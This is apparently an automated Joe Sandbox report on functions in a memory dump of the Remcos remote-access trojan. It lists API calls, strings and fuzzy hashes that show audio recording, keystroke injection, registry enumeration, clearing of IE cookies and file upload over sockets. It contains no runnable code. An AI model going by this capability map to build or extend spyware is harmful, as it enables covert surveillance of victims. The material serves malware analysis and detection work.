                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                            • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                            • API String ID: 3809562944-243156785
                                            • Opcode ID: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                                            • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                                            • Opcode Fuzzy Hash: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                                            • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                                            Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                                            • int.LIBCPMT ref: 00410E81
                                              • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                              • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                            • std::_Facet_Register.LIBCPMT ref: 00410EC1
                                            • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                                            • __Init_thread_footer.LIBCMT ref: 00410F29
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                            • String ID: ,kG$0kG
                                            • API String ID: 3815856325-2015055088
                                            • Opcode ID: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                                            • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                                            • Opcode Fuzzy Hash: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                                            • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                                            Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                                            • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                                            • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                                            • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                                            • waveInStart.WINMM ref: 00401CFE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                            • String ID: dMG$|MG$PG
                                            • API String ID: 1356121797-532278878
                                            • Opcode ID: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                                            • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                                            • Opcode Fuzzy Hash: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                                            • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                                            Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                                              • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                                              • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                                              • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                                            • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                                            • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                                            • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                                            • TranslateMessage.USER32(?), ref: 0041D4E9
                                            • DispatchMessageA.USER32 ref: 0041D4F3
                                            • GetMessageA.USER32 ref: 0041D500
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                            • String ID: Remcos
                                            • API String ID: 1970332568-165870891
                                            • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                            • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                                            • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                            • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                                            Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 984f3823f0f42f82cc4a86ce7b4d37cd777ac44a74ee2f2d7e0058df0e398b64
                                            • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                                            • Opcode Fuzzy Hash: 984f3823f0f42f82cc4a86ce7b4d37cd777ac44a74ee2f2d7e0058df0e398b64
                                            • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                                            Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                            • _memcmp.LIBVCRUNTIME ref: 00445423
                                            • _free.LIBCMT ref: 00445494
                                            • _free.LIBCMT ref: 004454AD
                                            • _free.LIBCMT ref: 004454DF
                                            • _free.LIBCMT ref: 004454E8
                                            • _free.LIBCMT ref: 004454F4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorLast$_abort_memcmp
                                            • String ID: C
                                            • API String ID: 1679612858-1037565863
                                            • Opcode ID: 95a5055c0f5b4626ae5439ab0ac3d92ffbfe406232e79e21228b3c6dd4324b4e
                                            • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                                            • Opcode Fuzzy Hash: 95a5055c0f5b4626ae5439ab0ac3d92ffbfe406232e79e21228b3c6dd4324b4e
                                            • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                                            Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: tcp$udp
                                            • API String ID: 0-3725065008
                                            • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                            • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                                            • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                                            • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                                            Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __Init_thread_footer.LIBCMT ref: 004018BE
                                            • ExitThread.KERNEL32 ref: 004018F6
                                            • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                            • String ID: PkG$XMG$NG$NG
                                            • API String ID: 1649129571-3151166067
                                            • Opcode ID: f17f11b8b39cffc117ffaa71cd5d18446726339bb65f1098d7a399b3bb622f5a
                                            • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                                            • Opcode Fuzzy Hash: f17f11b8b39cffc117ffaa71cd5d18446726339bb65f1098d7a399b3bb622f5a
                                            • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                                            Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                                            • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                                            • MoveFileW.KERNEL32 ref: 00407A6A
                                            • CloseHandle.KERNEL32(00000000), ref: 00407A95
                                            • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                              • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                              • Part of subcall function 00404B96: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                            • String ID: .part
                                            • API String ID: 1303771098-3499674018
                                            • Opcode ID: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                                            • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                                            • Opcode Fuzzy Hash: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                                            • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                                            Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                                            • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                                            • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InputSend
                                            • String ID:
                                            • API String ID: 3431551938-0
                                            • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                            • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                                            • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                            • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                                            Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __freea$__alloca_probe_16_free
                                            • String ID: a/p$am/pm$zD
                                            • API String ID: 2936374016-2723203690
                                            • Opcode ID: ffdf125771be3930cd34b67c2c4896bc65d4a075ba9d32331fcf35df296b8716
                                            • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                                            • Opcode Fuzzy Hash: ffdf125771be3930cd34b67c2c4896bc65d4a075ba9d32331fcf35df296b8716
                                            • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                                            Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                                            • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Enum$InfoQueryValue
                                            • String ID: [regsplt]$xUG$TG
                                            • API String ID: 3554306468-1165877943
                                            • Opcode ID: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                                            • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                                            • Opcode Fuzzy Hash: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                                            • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                                            Function 0044B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetConsoleCP.KERNEL32 ref: 0044B3FE
                                            • __fassign.LIBCMT ref: 0044B479
                                            • __fassign.LIBCMT ref: 0044B494
                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                                            • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                                            • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                            • String ID:
                                            • API String ID: 1324828854-0
                                            • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                            • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                                            • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                            • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                                            Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free
                                            • String ID: D[E$D[E
                                            • API String ID: 269201875-3695742444
                                            • Opcode ID: bc4a191701c62eeb9847f09c94d148ade9b95fc5d58c951cd89fb7ba37de2388
                                            • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                                            • Opcode Fuzzy Hash: bc4a191701c62eeb9847f09c94d148ade9b95fc5d58c951cd89fb7ba37de2388
                                            • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                                            Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExW.ADVAPI32 ref: 00413D46
                                              • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                              • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            • RegCloseKey.ADVAPI32(00000000), ref: 00413EB4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEnumInfoOpenQuerysend
                                            • String ID: xUG$NG$NG$TG
                                            • API String ID: 3114080316-2811732169
                                            • Opcode ID: fc7062b0e2d73897183f332ff677a088385e4ff99dcd0168fd06527908a237fe
                                            • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                                            • Opcode Fuzzy Hash: fc7062b0e2d73897183f332ff677a088385e4ff99dcd0168fd06527908a237fe
                                            • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                                            Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                                              • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                                              • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                                              • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                            • _wcslen.LIBCMT ref: 0041B763
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                            • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                            • API String ID: 37874593-122982132
                                            • Opcode ID: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                                            • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                                            • Opcode Fuzzy Hash: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                                            • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                                            Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                              • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                                              • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                                            • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                                            • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                            • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                            • API String ID: 1133728706-4073444585
                                            • Opcode ID: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                                            • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                                            • Opcode Fuzzy Hash: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                                            • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                                            Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 934edf86da25d837fa7b61c38a686264b457019a14f29bbb32a15566fa7518be
                                            • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                                            • Opcode Fuzzy Hash: 934edf86da25d837fa7b61c38a686264b457019a14f29bbb32a15566fa7518be
                                            • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                                            Function 0041C3F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C44D
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C459
                                            • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C46A
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C477
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandle$CreatePointerWrite
                                            • String ID: hpF
                                            • API String ID: 1852769593-151379673
                                            • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                            • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                                            • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                            • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                                            Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                                            • _free.LIBCMT ref: 00450F48
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00450F53
                                            • _free.LIBCMT ref: 00450F5E
                                            • _free.LIBCMT ref: 00450FB2
                                            • _free.LIBCMT ref: 00450FBD
                                            • _free.LIBCMT ref: 00450FC8
                                            • _free.LIBCMT ref: 00450FD3
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                            • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                                            • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                            • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                                            Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                            Download Yara Rule
                                            APIs
                                            • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                                            • int.LIBCPMT ref: 00411183
                                              • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                              • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                            • std::_Facet_Register.LIBCPMT ref: 004111C3
                                            • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                            • String ID: (mG
                                            • API String ID: 2536120697-4059303827
                                            • Opcode ID: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                                            • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                                            • Opcode Fuzzy Hash: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                                            • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                                            Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
